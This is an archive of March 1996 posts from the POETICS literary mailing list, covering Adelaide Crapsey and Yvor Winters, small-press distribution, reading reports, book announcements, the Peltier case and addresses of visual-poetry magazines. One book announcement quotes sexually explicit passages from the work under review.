I've seen McIntyre's work in print, but actually did not know of the Berkeley connection at all. Josephine Miles (who turned me on to Crapsey in '69 or '70) had been "the poet" in the UC department for decades. Rob Wilson -- whom Susan Schultz and Gab Wellford must know -- was one of Jo's regular students and might have gotten more detail. ((Miles, whom I knew only very slightly, was very scrupulous about putting contexts around works and readings--when she told Melnick and I that poets in the 1940s didn't know how to read Williams, how the work would even sound, I trust that statement, foreign as it seems to my own sensibility.))

Burt Hatlen (is he a lurker here?) was Parkinson's TA in the 50s. He might have some detail as well. He was very lucky to have been out of the country on a grant when a deranged student shot and killed Parkinson's then-TA (and wounded Tom), because TP had refused to sign a loyalty oath, in (I think) 1956.

Ron

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568. **Ron Silliman**
Re: Adelaide Crapsey
Sat 23 Mar 1996

You wrote:
>
>i think joyce kilmer was male, if i've been told correctly. --maria d
>
Yes, he was.

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569. **Ron Silliman**
Re: Odysseas Elytis
Sat 23 Mar 1996

There was an obit in the NY Times on Tuesday, 3/19. On the same page, I believe (or maybe the facing page), as one for Olga Rudge. Made no mention of his time as a political prisoner on Youra.

Ron Silliman

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570. Charles Alexander
Re: POETICS Digest - 20 Mar 1996 to 21 Mar 1996
Sat 23 Mar 1996

> *You know, we have to do something to ensure that Dalkey Archive doesn't succumb to commercial pressures now that its main editorial God, Steven Moore, is leaving. ---Marisa (debeetled)*
>
> *Too late, they have already pulled their books from SPD and are now being distributed by a "large" distributor (one of the universities I believe). . .*

They are distributed by Consortium, which is probably more of a mid-sized distributor by commercial standards, although quite large for "small press." But Sun & Moon, Coach House, and a few other very productive small presses are distributed by Consortium. I do believe Consortium asks for some kind of exclusive arrangement, but that in various cases books they distribute are also made available through SPD and perhaps other sources. Sorry I don't have the details. Consortium, as some of you know, was begun by a former partner in Bookslinger, and began and achieved at least part of its success (not without struggles) by taking the 8 or so best-selling presses away from Bookslinger, contributing to the difficulties Bookslinger faced in its last several years and its eventual closing. But of places distributing small press books (although only the biggest of the small), Consortium has had good deal of success placing books in bookstores -- so it's quite a mixed story. Dalkey Archive has actually been with Consortium for some time, not just recently. So perhaps Dalkey has a new development in its distribution, too.

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571. Aldon L. Nielsen
Re: On way to Detroit -- Check in again in a week
Sat 23 Mar 1996

I believe
    Joyce Kilmer is
        a rest

stop

    in New Jersey

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572. **chris daniels**

charming naivete, etc.

Sat 23 Mar 1996

---

well, all this supportive private mail i've gotten has made me feel sort of cocky

1. eight charmingly naive writers

tutuola
bob brown
blake
whitman
patchen
stein
dickinson
shakespeare

2. charmingly naive and derivative poem by me

Maelsublime
cinder
through seiasche throe

moumiamiller's multure
rest in shoddy
corrugate stasis
its misspelled label

hammer glyphs
down remain reft

smallest words
roun with her throh

timor mortis conturbat me

--- for jim leftwich
after Mandala Damages
flowers unfolding reft truffle

3. rose read wrote me this

> *I often wonder how the others on this list, almost all of whom I respect a great deal, feed their work -- their writing. There isn't much discussion of the writing process itself ...*

yeah, me too --- how abt it?

yrs ---

chris
---
christopher daniels <[redacted]> 3.23.96 10:17:09 am

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wuorinen

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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573. Kevin Killian
SPT newsletter in space
Sat 23 Mar 1996

This is Dodie. Thanks to everyone who e-mailed me with news/advice about my bulk mailing. Apparently, according to e-mail knowledgeable listservers, bulk mail can vary dramatically from place to place, and when there are only a few pieces going to a location, it can take forever. So, hang in there and keep in touch.

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574. John E. Matthias
Crapsey & Winters
Sat 23 Mar 1996

It's interesting to see a few references to Adelaide Crapsey. When I was briefly a student of Yvor Winters' in 1963, Crapsey's work was still on his syllabus where presumably it had remained for thirty years. Everyone read what little there was to read. It's interesting, too, that Winters acknowledged Crapsey as an influence on his own early (modernist) poetry, along with translations from the Japanese and early translations from Native American poetry that appeared in the Indian bulletins of the Smithsonian Institution (especially those by Washington Matthews, Frances Densmore, and Frank Russell, all of whom were anthropologists). Anyway, in 1941 Winters called Crapsey "certainly an immortal poet...and one of the most famous poets of our century" ("Post Scripta" to _In Defense of Reason_). By 1967, the year of his death, he calls Crapsey "almost forgotten" and attributes part of the cause to "the anthologists, who have an infallible taste for the weakest work of any poet whom they consider." A great

lister of poems, Winters cites (in _Forms of Discovery_) Snow, Anguish, Moon-Shadows, Night-Winds, Roma Aeterna, Amaze, Niagara, For Lucas Cranach's Eve, Dirge, Song, Angelique, Chimes, To Man Who Goes Seeking Immortality. He calls it "a formidable list."

Winters identified with Crapsey in various ways, in part because of her illness. He, too, had tuberculosis. Anyone unaware of Winters' early poetry ought to have a look at it. Much of it was written in New Mexico, where Winters was recovering at a sanatorium, and in Colorado once he was up and about. Marianne Moore sent him books from the New York Public Library ("very kindly, but I am sure illegally"). And he had his subscriptions to _Poetry_, _Others_, and _The Little Review_. He wrote all of _The Immobile Wind_ and most of _The Magpie's Shadow_ in the sanatorium in Santa Fe. And he would have been reading Crapsey there.

It's an interesting early conjunction--Crapsey, Haiku, the anthropologists' translations of Native American poetry, and also Rimbaud, whose work Winters deciphered with the help of a disapproving French priest. The dates were 1921-1927. He tells the story in his Introduction to _The Early Poems of Yvor Winters_. Anyone interested in this phase of Winters' career should also read his short story, "The Brink of Darkness." Readers who only know the later Winters of Stern Measures might be surprised as well by the early reviews published in _The Uncollected Essays and Reviews of Yvor Winters_(Swallow Press) where he expresses great enthusiasm for modernist writers whose work he later dismissed. This book also includes his important 1928 review of _The Path on the Rainbow: An Anthology of Songs and Chants from the Indians of North America_.

John Matthias

↑ Index

575. **Chris Stroffolino**

Re: Adelaide Crapsey

Sat 23 Mar 1996

---

yes, aldon, kilmer is a rest stop
and whitman is a bridge...
a toll bridge...

↑ Index

576. **Maria Damon**
Re: charming naivete, etc.
Sat 23 Mar 1996

hey chris daniels, i like yr poem and yr energy. another charmingly naive poet is thazarbell biggs, whose poem about human anatomy was published by adventures in poetry in the 1970s. I teach it as often as i can. sometimes jamaica kindcaid comes out with a cn. phrase, like, the queen of england was "extremely not beautiful." i'm hooked on that kinda stuff, but i'm suspicious of my own taste for it cuz i wonder if i'm being patronizing. but i think not, see an article (by moi) in cultural critique from 1990 or so called "tell them about us" (also half a chapter in my one and only booky-poo) that analyzes poetry by South Boston teenaged schoolgirls. lots of people don't "get" why i love this stuff, think i'm being a do-gooder or a politico with no aesthetic taste, but i love it AS POETRY. i could go on and on... how does shakespeare rate as charmingly naive? esplain? bests, maria ps as for flamers, judge not lest etc.

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577. **Maria Damon**
Re: Crapsey & Winters
Sat 23 Mar 1996

john mathias: what was it like to work with winters. i was at stanford from 1981-88, and many of us saw his legacy as oppressive: ginsberg had, at the time i arrived, never been asked to read at SU, etc. i've heard, tho, that he was a devoted tEACHER who supported the early careers of folks like thom gunn, scott momaday, etc. bests, maria d

↑ Index

578. **Chris Stroffolino**
Re: you decide
Sat 23 Mar 1996

dear david carl--
very interesting Merleau-Ponty quote...
I am especially attracted to the part in which he writes
"others--those most loyal to their youth--have split their lives in
two...." The "conservative" and "moral" "private life" vs. the
the "public" and "immoral" aesthetic seems to be the distinction here.
If so, it seems to be a somewhat accurate description of
much poetry--though not, say, the more bohemian bernadette mayer,
eileen myles, or berrigan. Some seem to split their life in two in
EXACTLY the oppposite way....Radical lifestyle but linguistically

"conservative." Anyway, YOU DECIDE....
thanks for the quote again.
chris s.

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579. **chris daniels**
FW: Re: charming naivete, etc.
Sat 23 Mar 1996

--- On Sat, 23 Mar 1996 20:43:12 -0500 Maria Damon <[redacted]> wrote:

>hey chris daniels, i like yr poem and yr energy. another charmingly naive
>poet is thazarbell biggs, whose poem about human anatomy was published by
>adventures in poetry in the 1970s. I teach it as often as i can.
sometimes
>jamaica kindcaid comes out with a cn. phrase, like, the queen of england
was
>"extremely not beautiful." i'm hooked on that kinda stuff, but i'm
>suspicious of my own taste for it cuz i wonder if i'm being patronizing.
but
>i think not, see an article (by moi) in cultural critique from 1990 or so
>called "tell them about us" (also half a chapter in my one and only
>booky-poo) that analyzes poetry by South Boston teenaged schoolgirls. lots
>of people don't "get" why i love this stuff, think i'm being a do-gooder or
a
>politico with no aesthetic taste, but i love it AS POETRY. i could go on
and
>on...

as cld i. it's the (as i feel it) unpremeditated quality of such writing that gets to me --- i understand yr self-concern, tho --- there is always the danger of seeing a writer like amos tutuola as a kind of side-show.

tell me what to read by jamaica kincaid --- i've never even heard of her.

the british poet john clare was another cn., wonderful poet.

> *how does shakespeare rate as charmingly naive? esplain?*

shakespeare rates as charmingly naive because he started in the stables, was basically unschooled, and somehow became, in most people's opinion, the greatest poet in the english language. no one really knows how or why he started writing.

last week i heard duncan mcnaughton lecture on the
sonnets --- very moving to hear such a wonderful poet reduced
to silence when he began to speak abt his own reaction to

King Lear --- "it's just so sad" was all he cld say. i was
humbled.

later ---

chris

---
christopher daniels <[redacted]> 3.23.96 6:30:11 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wuorinen

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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580. **KUSZAI**
Announcing _Broken English_ by Dodie Bellamy & Bob Harrison
Sat 23 Mar 1996

Announcing:

Broken English

Dodie Bellamy and Bob Harrison

Meow Press
32pp. 4.75"x4.75"
with cover art by Peter Mitchell-Dayton
$6.00

Available from Small Press Distribution
1814 San Pablo Avenue
Berkeley, California 94702
[redacted]

or from the publisher (see below)

From a review by Michael Stancliff

By any conventional standards, _Broken English_ is a pornographic text. But is it so in the world of small press poetry and poetics? It remains to be seen whether or not the authors, publisher or distributors will encounter the legal turbulence that would validate such a genre distinction. Such affairs seem

unlikely given the low profile and limited circulation of the small press scene. This raises an interesting question: Will a book be marked as pornographic if it remains unprofitable and circulated locally (the local here constituted not geographically but by a community of readers and writers)? This comes early in the book:

> Can we cuddle and fuck? Can we fuck too? Can you see me kneeling there on the floor in front of you, unzipping your pants with my teeth, one hand on each of your thighs, my little pointed tongue with its red tip licking the honey from the tip of your cock? Can't keep your pussy off my dick. Dear Fuck Slug. Dear Fuck Toy. Dear Three-Headed Cock.
>
> Dear True Cranberry. Desire for you is dripping out of my pussy like hot wax.. Do you like it when I suck your nipples? Do you like to move all that roughness across something smooth and vulnerable, my breast for instance...Do you still want me to cover your face with come? Do you wanna fuck our brains out?

I cite this passage only to suggest that a representational passage might be tagged, to suggest how, after many pages, this erotico- fantastic prose does indeed effect a genericism in keeping with much print porn. But this text, ironically, exploits the transgressive language of porn, employing it in an interesting poetic project. _Broken English_, its "closeness to the body," reminds us that "plain language" might still be more radical than the _detourment_ and monkey-wrenching poetic satire of much language and post-language writing. The language of sex engages all the legal and social issues surrounding porn, begging questions of the small press community: What is the status of the "marginality" of the texts we produce, circulate and read? Where and how do we transgress, and are those transgressions merely literary? But there are other things to say about the passage above. Notice the way in which the biological specificity simultaneously highlights and negates gender and sexual identities. Notice also the litany of addresses. This is an incredibly intimate book, not because its ostensible subject matter is sex, but because of the continual emphasis of a "you" and an "I" morphing in and out of one another in moments of narcissistic projection and simultaneous embodiment/consumption of the other. "I'm going to fuck you so that our bloods move next to each other. I'm going to fuck you until I can't tell where my body is, until we've lost all our boundaries and even the most complex 4-color map will not be able to separate us again." With the desire to embody a lover comes a straining to embody sex acts in language acts. Sexual and compositional energy are linked again and again. Genital excretions become language--"I write in large cursive letters with my come on your

chest...My pussy's all wet now, and now my finger, the middle finger of my left hand, is covered with my pussy's wetness, and I'm getting it on the keyboard...If you say that writing is a sexual experience, then collaboration would have to be a kind of fucking, right?" The brute rhythmic force of the prose radiates this doomed effort to join these realms of action. Hence the wonderfully dedicated quality of the declaration: I WILL NOT JERK OFF, I HAVE WORK TO DO. I WILL NOT JERK OFF. This is an incredibly ironic line in such a masturbatory text, but it makes a great deal of sense--The speaker eschews the release of sexual energy that is not directed towards intimacy with another, that does not fuel the "WORK" of the writing which, in the endless inventiveness of its sexual reference constitutes an urgent address. Constant climax. Mind-fuck virtuoso fantasy.

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↑ Index

581. Chris Stroffolino
reading report: hunt/killian/foster
Sun 24 Mar 1996

On friday (the first one in spring--though you wouldn't guess by the snow), at the recently renovated ICHOR gallery, Sean killian, Erica (erika?) Hunt and Ed Foster read their poetry....Since Jordan D. wasn't there (at least I didn't see him), I felt I'd steal his schtick just this once and try to offer a "poetry report"... First, Sean Killian read. Intense rhapsodic work (still not in print!) that only at the rarest moments lets the listener off the hook. Someone in the audience complimentarily likened the work to Rilke....but I thought it was more like Beckett and Ashbery (not the suburban "short poem" Ashbery) Especially effective were the long prose poems, whose subtle wit and swift fade-ins

and fade-outs addressed as a METAPHYSICAL problem, the systematic incentives AGAINST human (especially male-female) connection in the hyper-ontological world of NYC and/or "late capitalism."

Ed Foster read work that, in terms of touchstones or "markers", was somewhat reminiscent of Duncan (especially in classical references and homoerotically charged) and/or Olson(his use of non-western cultures, and "special views" of history). FOster's work seems to have undergone profound changes since the last time I saw him read (1993). The more "aesthetic" quality of his earlier work has taken a backseat to a more prophetic/visionary tone--especially evident in his oracular reading style.

After a break, Erica Hunt read from her MS of her second book due out any second from KELSEY ST. PRESS. I had never before seen Ms. Hunt read before and strongly encourage all of you to do so at the first opportunity. This work is majr, though in different ways than Killian. In the first place, her work had a "deceptively light" quality about it. But in the midst of the humourous, casual, everyday BELIEVABLE PERSONA that emanated from her work and radiated in performace was the kind of fast, dense sociopolitical turns that also characterize, say, Bob Perelman and Carla Harryman at their best. Hunt is definitely onto a synthesis quite unique, however, of more "language" based writing with a more NY School lyricism...

The three readers, coming from vastly different spaces, complemented each other. All were very powerful. Faith in poetry restored for the time being, etc. My little characterizations do them an injustice.... cs

↑ Index

582. Thomas Bell
Re: Kellog's article and reification
Sun 24 Mar 1996

Now that recent flurries seem to have abated somewhat I'd like
to revive this topic/query which may have been missed.
David,
I came across this quote which seems pertinent to the
problem:
"[Poetry] does appear at present, despite various modifications
in the mode of presenting it in public, to be static, death-laden,
just as it is so often death-referenced" - Allen Grossman in
The Sighted Singer

> *I have received (thank, Davids) and begun exploring David Kellog's "Desire..." article he recently passed out. While reading I was puzzled and saddened by his comments on desire's apparent growing*

> *reification as a noun. My bias as a psychologist and a poet is for process. I see this as possibly a reflection of our current captivity in advertising imagery, sound bites, and conservative rigidity: "...the overwhelming preference more recent poets have for _desire_ in its noun form....poets gravitate toward the potential of the word as a thing...[its] gestural, deictic quality increases its appeal for recent poets who negotiate the Scylla of discourse and the Charybdis of subjectivity. (414)."*
>
> *I think it was my sense of cultural rigidification that recently led me to initiate a "verbalized noun" renga (collaborative poem - with help from fellow fellow renga qaballists):*
>
> *Sam friscoed his living space*
> *she has plans to cattle his life savings*
> *for a formering singe to heart my laptop*
> *I could magazine it if you'd creche me*
> *don't apple with me or i'll weeping willow you*
>
> *until you profound it, you coffee it up*
> *and wetting don't caulk in the whispered*
> *to-be-jointed night, don't phone me*
> *laughter it fretly, soap a mariner*
>
> *who perimeters the sextant or sextants the*
> *apse he milky ways on the shore on the shore*
>
> *tom*

↑ Index

583. **Maria Damon**

Re: FW: Re: charming naivete, etc.

Sun 24 Mar 1996

---

interesting abt. shakespeare, his lifestory, not his oeuvre, constitute his naive charm...i'm one of those folks who thought shakespeare was a pseudonym for some lord or other, so i never marveled at the self-taughtness of him...but then, genet really was genet, and he's another, i'd never call him charmingly naive, but he's certainly an autodidact genius.--maria d

↑ Index

584. **Michael Leddy**
Frank O'Hara and Ghost Books
Sun 24 Mar 1996

Hello, list. (I'm new.) Concerning ghost books, as discussed in the most recent log--

I've seen a number of references to a book of Frank O'Hara's letters, which has never appeared. (Explanation?)

Don Allen's Editor's Note to O'Hara's Collected Poems mentions a forthcoming volume of collaborations and translations. Exciting news, at least for a few seconds, before I realized (or re-realized) that of course I was reading (in the U Cal P paperback) the note that introduced the book in 1971. A ghost of a ghost.

Michael Leddy / Charleston, IL

↑ Index

585. **Jeffrey W. Timmons**
Re: Adelaide Crapsey
Sun 24 Mar 1996

On Sat, 23 Mar 1996, Chris Stroffolino wrote:

> *yes, aldon, kilmer is a rest stop*
> *and whitman is a bridge...*
> *a toll bridge...*

whitman is also a jail, and a mall I believe. . . .

jeffrey timmons

↑ Index

586. **Douglas Messerli**
New Sun & Moon Press titles
Sun 24 Mar 1996

Sun & Moon Press announces the publication of three new titles:

SELECTED DECLARATIONS OF DEPENDENCE, by
Harry Marthes

Sun & Moon Classics: 128, 196 pages, $10.95 (paper)

First published in 1977, SELECTED DECLARATIONS has, like all the books of Harry Mathews, grown in reputation over the years of its unavailability. Sun & Moon Press now returns this remarkable text--in which Mathews (beginning

with a set of 46 familiar proverbs) uses and absuses proverbs to create a new set of "perverbs"--to press. Illustrated by Alex Katz

---

BEGINNER, by Erik Ehn

ATL-American Theter in Literature Program
94 pages, $9.95 (paper)

A wonderful and witty new play of four short dialogues by San Francisco playright Erik Ehn, connected with what has come to be called the "Language" theater (which includes writers such as Mac Wellman, Len Jenkin, Jeff Jones, Suzan-Lori Parks and others).

THE RETURNS, by Dennis Barone

New American Fiction Series 36, 96 pages, $10.95 (paper)

An officer encounters a hapless Nell with her beaten son on a cliff just before he attacks a nameless army; in a city where all houses are painted blue, a record keeper tracks filter replacements and filtermen; in the midst of Thanksgiving dinner a boy suddenly encounters a pilot of an x-15 rocket and a salesman, who seem to sympathize with one another. In these strange and yet seemingly familiar tales the past and its language is grafted onto the present world, with a language that has fallen into near meaninglessness.

Folks on the Poetics List can order (for one month) any of these three books for a 10% discount. Order through our website: www.sunmoon.com or through E-mail: [redacted].

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587. John E. Matthias
Winters & Stanford
Sun 24 Mar 1996

Maria Damon:

I didn't personally have a lot of trouble with Winters, but I only took the literature courses, not the writing courses. It was clear he wouldn't have liked my poetry and I never showed him any. I learned from his enthusiasms and discounted his prejudices. I can imagine that by the early '80s many of you saw his legacy as oppressive, although Donald Davie certainly wouldn't have given you that impression if he was still there. Was he? And how many people studied

with Ken Fields? He was the poet of my generation who stayed on at Stanford. The others were Bob Hass, James McMichael, John Peck, and Robert Pinsky. In 1979 Carcanet Press published (in England) an anthology called _Five American Poets_ that included work by Hass, McMichael, Peck, Pinsky, & myself. In some ways it produced the impression among British reviewers that we were, or at any rate had been, Wintersians of some kind--laughable in my own case, and a distortion even in the cases of Pinsky and the early Peck. We've gone in five very different directions. John Peck, by the way, ought in particular to be of interest to readers on this list. I wonder how many know his work, especially his recent work. He's now back in this country after a decade and more in Europe. He practices as a Jungian analyst in Vermont. I can list books if anyone needs to know titles. I think Peck is one of the best poets we have. It's coincidental that Jeremy Hooker is about to publish an essay called something like "Five American Poets after Fifteen Years" in _PN Review_ in England. Anyway, back to your question. The best answer is perhaps to quote section XX, "Peroration, Concerning Genius," from Robert Pinsky's "Essay on Psychiatrists" (from _Sadness and Happiness_). The "old man" in the poem is Winters.

As to my own concerns, it seems odd, given
The ideas many of us have about art,
That so many writers, makers of films,

Artists, all suitors of excellence and their own
Genius, should consult psychiatrists, willing
To risk that the doctor in curing

The sickness should smooth away the cicatrice
Of genius, too. But it is all bosh, the false
Link between genius and sickness,

Except perhaps as they were linked
By the Old Man, addressing his class
On the first day: "I know why you are here.

You are here to laugh. You have heard of a crazy
Old man who believes that Robert Bridges
Was a good poet; who believes that Faulke

Greville was a great poet, greater than Philip
Sidney; who believes that Shakespeare's Sonnets
Are not all that they are cracked up to be. . . Well,

I will tell you something: I will tell you
What this course is about. Sometime in the middle
Of the Eighteenth Century, along with the rise

Of capitalism and scientific method, the logical
Foundations of Western thought decayed and fell apart.
When they fell apart, poets were left

With emotions and experience, and with no way
To examine them. At this time, poets and men
Of genius began to go mad. Gray went mad. Collins

Went mad. Kit Smart was mad. William Blake surely
Was a madman. Coleridge was a drug addict, with severe
Depression. My friend Hart Crane died mad. My friend

Ezra Pound is mad. But you will not go mad; you will grow up
To become happy, sentimental old college professors,
Because they were men of genius, and you

Art not; and the ideas which were vital
To them are mere amusements to you. I will not
Go mad, because I have understood those ideas. . . ."

He drank wine and smoked his pipe more than he should;
In the end his doctors in order to prolong life
Were forced to cut away most of his tongue.

That was their business. As far as he was concerned
Suffering was life's penalty; wisdom armed one
Against madness; speech was temporary; poetry was truth.

* * *

That's the parody version, of course, but it comes pretty close.

John Matthias

↑ Index

588. **Maria Damon**
Re: Winters & Stanford
Sun 24 Mar 1996

---

thanks for the poem, John Matthias: it resonates eerily with a book i've been reading on otto weininger and turn of the century interest in "madness" and "creativity," --creepy stuff, esp. for Jewish folks. Donald Davie had just retired. Ken Fields was still teaching, i took two courses from him one semester and he made my life miserable during that period; he was a troubled person who notoriously indulged in punitive grading to a degree so flagrant that it could only be called delusional. (he wasn't as hard on me as he was on some others, perhaps because i tried to go to his office hours to talk to him about our "conflict" --). However, my problems with him got me into "recovery" I was having dreadful

nightmares) so I actually owe him some debt of gratitude. hey, maybe i'll write and tell him so...bests, maria d

↑ Index

589. **Maria Damon**
Re: Announcing _Broken English_ by Dodie Bellamy & Bob Harrison
Sun 24 Mar 1996

---

looks terrific, gotta pick this one up --congrats, dodie-kins! --md

↑ Index

590. **Chris Stroffolino**
Re: Adelaide Crapsey
Sun 24 Mar 1996

---

a toll bridge, a jail, a mall, a candy sampler
and the republican governor of New Jersey USA....

↑ Index

591. **Kevin Killian**
Re: Announcing _Broken English_ by Dodie Bellamy & Bob Harrison
Sun 24 Mar 1996

> *looks terrific, gotta pick this one up --congrats, dodie-kins! --md*

Maria,

Here's a kiss for you.

Dodie

↑ Index

592. **Gwyn McVay**
Re: New Sun & Moon Press titles
Mon 25 Mar 1996

Dear Douglas,

I'd love to order the Mathews--do you prefer to deal with e-people via credit card or check?

Regards,

Gwyn McVay, a big Sun &Moon fan

↑ Index

593. **David Kellogg**
Re: Kellog's article and reification
Mon 25 Mar 1996

On Sat, 23 Mar 1996, Thomas Bell wrote:

> *Now that recent flurries seem to have abated somewhat I'd like to revive this topic/query which may have been missed.*
> *David,*
> *I came across this quote which seems pertinent to the problem:*
> *"[Poetry] does appear at present, despite various modifications in the mode of presenting it in public, to be static, death-laden, just as it is so often death-referenced" - Allen Grossman in _The Sighted Singer_*

I don't think I want to go down this road.

The problem with pronouncements like this is their tendency toward universalism. I have no wish to go back to the "death of poetry" debate (which seems happily to have died down since the late eighties) where people accused back and forth: Poetry's dead/is not/is so/is not! Saying something like this is rather easy; the heart part is figuring out what's actaully happening *here* or *there* or *there*.

I'm not as familiar with Grossman's work as I should be. What's the context of his saying this? I'm curious because he seems obviously (in Summa Lyrica) one of the most rigorous thinkers about poetry in our time.

Cheers,
David
~~~
~~~

594. Mark Roberts
Re: Visual Poetry
Mon 25 Mar 1996

> *If you want information about the Australian concrete poetry scene, contact*
> *TT.O. (greek symbols Pi and Omicron) and thalia c/o*
> *Collective Effort Press*
> *P.O. Box 2430V GPO Melbourne, Australia*
>
> *They printed an anthology of works by TT.O. (say Pi O), thalia, ACR, Jas Duke, and loads of others who continue today. Also, they can hook you up with the Italian scene, namely a dictionary of women's language using concrete poetry.*
> *Tell them you got the info from Laura Hope-Gill; give 'em my best.*
>
> *Laura Hope-Gill c/o GHawkins*

There was a CD tribute to Jas Duke in an issue of Going Down Swinging a year or so back. Also the latest issue of Southerly has a collection of articles on pi0. Australian Writing On Line will shortly be making GDS available through its Virtual Bookshop (http://www.ozemail.com.au/~awol/). If can't wait email AWOL at [redacted] and they can give you more details.

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

595. J. Ellis McAdams
Re: Peltier
Mon 25 Mar 1996

eryque-- You asked about the Peltier case. The best 2 sources I know of are Peter Matthiessen's In the Spirit of Crazy Horse, a long and detailed account of what is an extremely complex legal case, and Michael Apted's film, Incident at Oglala. Briefly, two FBI agents were shot in 1975 near Wounded Knee. Three members of AIM were indicted: Bob Robideau and Dino Butler were acquited; Peltier fled to Canada, was extradited, and stood trial separately. He was convicted and has now been in prison for (I think) 20 years. Both Mattheissen and Apted make a good case for the FBI, furious at the aquitals of Butler &

Robideau, manufacturing evidence and coercing witnesses in order to convict Peltier. From everything I've read, there seems no evidence that Peltier had anything to do with the deaths of the agents. The second issue the case raises is more complicated. Because of the "quasi-sovereign" status of Indian nations, and because of the climate of violence on the res. at that time--there had been shootouts and murders of Indian people--one wonders what on earth two agents in plain clothes, who apparently did not identify themselves--were doing there in the first place. Thus, the question is: Were these "murders" or casualties in a war between two sovereign powers? As I've said, it's an extremely complicated case, and I'm certainly no expert. Matthiessen's book is also interesting because of its publishing history. Libel cases brought by public officials kept it out of print for 8 years. J.

↑ Index

596. **Douglas Messerli**

Re: New Sun & Moon Press titles

Mon 25 Mar 1996

Dear Gwyn,

You can either order through my website or through E-Mail, which will probably be easier for you. But we do't yet accept credit cards, so I'll just bill you and you can send us a check.

Our website is www.sunmoon.com.

==========

At 09:01 AM 3/25/96 +0000, you wrote:
>Dear Douglas,
>
>I'd love to order the Mathews--do you prefer to deal with e-people via
>credit card or check?
>
>Regards,
>
>Gwyn McVay, a big Sun &Moon fan
>

↑ Index

597. **Jordan Davis**

nea creative writing fellowships

Mon 25 Mar 1996

As penance for the tone of my last post about the creative writing fellowships in poetry awarded by the NEA for FY96, I now post the list of recipients:

Robert Benson, Onenonta NY
Pamela Bernard, Duxbury MA
Linda Bierds, Bainbridge Island WA
Sharon Bryan, Salt Lake City UT
Stuart Dischel, Las Cruces NM
Nancy Eimers, Kalamazoo MI
Jeffrey Greene, Paris FRANCE
Barbara Hamby, Tallahassee FL
Carol Henrie, Hayward CA
Karl Kirchwey, New York NY
Stephen Knauth, Charlotte NC
John Koethe, Milwaukee WI
Joan Larkin, Shelburne Falls MA
Charles F. Martin, Brooklyn NY
William Olsen, Kalamazoo MI
Donald Platt, Carrollton GA
Laurie Sheck, Princeton NJ
Enid Shomer, Gainesville FL
Sheryl Saint Germain, Galesburg IL
Daniel E. Tobin, Racine WI
Dean Young, Bloomington IN

Panelists were:

Lucille Clifton, Columbia MD
Poet, educator
Debora Greger, Gainesville FL
Poet, educator
Edward Hirsch, Houston TX
Poet, editor, educator
Philip Levine, Fresno CA
Poet, educator
Thylias Moss, Ann Arbor MI
Poet, writer, educator
Steve Orlen, Tucson AZ
Poet, educator
Sherod Santos, Columbia MO
Poet, educator

Margo Viscusi, New York NY
Layperson
Ellen Bryant Voigt, Cabot VT
Poet, educator

You can contact the NEA (sort of; they've been cut severely and may not have enough people to get straight to your call, but though they _can't_ talk to you about your application they can send you application guidelines for creative writing and translation fellowships in poetry (including verse drama) now.

Gigi Bradford
NEA
Nancy Hanks Center
1100 Pennsylvania Ave NW
Washington DC 20506

[redacted]

_____

That said, I'd like to suggest that 'quertzblatz' poets _not_ go the record store route of filing themselves under 'alternative' or shriek of pain 'commercial alternative.' Thanks.

Jordan Davis

↑ Index

598. Eryque Gleason
Re: Peltier
Mon 25 Mar 1996

thanks for the info, j.

i'm always amazed at our powers that be, but i don't know why, it's been the same old same old for two hundred years. i shouldn't be amazed anymore. incredulous, yes, but i should expect this sort of activity.

eryque

↑ Index

599. Ward Tietz
Re: Visual Poetry
Mon 25 Mar 1996

On March 22, Peter Jaeger wrote: "Can anyone contribute to a list of addresses (snail or email) for magazines that currently & primarily publish visual poetry, in Canada, States, anywhere?"

Here are some places I know of, although "primarily publish visual poetry" does not apply for all of them. (I've also listed some presses.)

USA

Generator
John Byrum
3203 W. 14th St., Apt. 13
Cleveland, OH 44109

Score
Crag Hill
1015 NW Clifford St.
Pullman, WA 99163

O.ars
Don Wellman
21 Rockland Rd
Weare, NH 03281

Lightworks
Charlton Burch
P.O. Box 1202
Birmingham, MI 48012

Canada

Rampike
Karl Jirgens
95 Rivercrest Rd.
Toronto, Ontario
M6S 4H7

CURVD H&Z
jw curry
1357 Lansdowne Ave
Toronto, Ontario.
M6H 3Z9

Austria

Edition Neue Texte
Heimrad Baecker
In der Stockwiesen 13
A-4040 Linz

Press, publishes mostly concrete poetry (anthologies and some books).

Germany

Christian Scholz
Gertraud Scholz Verlag
Rothenberg, Weinbergstr. 11
D-8501 Obermichelbach

Press, publishes books and CDs of sound poetry.

Australia

Pete Spence
4/27 Alma Grove
St. Kilda 3182
Victoria, Australia

Curates visual poetry mail art show. Last year's show was in various public libraries.

Hungary

Laszlo L. Simon
Mezo u. 12
H-2484 Agard

e-mail: [redacted]

Curated an international visual poetry exhibition in '95, is about to start an electronic magazine. Their URL is http://ludens.elte.hu/~LIFT/

France

Doc(k)s
Philippe Castellin
20 rue Bonaparte
F-20 000 Ajaccio

Ward Tietz

↑ Index

600. chris daniels
FW: Re: Peltier
Mon 25 Mar 1996

Eryque Gleason wrote:

> *thanks for the info, j.*
>
> *i'm always amazed at our powers that be, but i don't know why, it's been the same old same old for two hundred years. i shouldn't be amazed anymore. incredulous, yes, but i should expect this sort of activity.*

> *eryque*

eryque ---

may i respectfully add two zeros to that 200?

later in the good fight ---

chris
---
christopher daniels <[redacted]> 3.25.96 1:22:43 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wuorinen

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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601. Michael Davidson
Steve Benson
Mon 25 Mar 1996

Does anybody out there know where I can find a tape of Steve Benson performing "Echo" (which appears in BLINDSPOTS)? I know he did a version of it in Washington at a performance organized by Kirby Malone, but I can't locate Kirby (if you're out there, KM, please backchannel me). Perhaps others can help me locate this or other performances. Thanks in advance.

Michael Davidson
Michael Davidson

↑ Index

602. Edward Foster
Re: The Bay scene in 1950s
Mon 25 Mar 1996

---

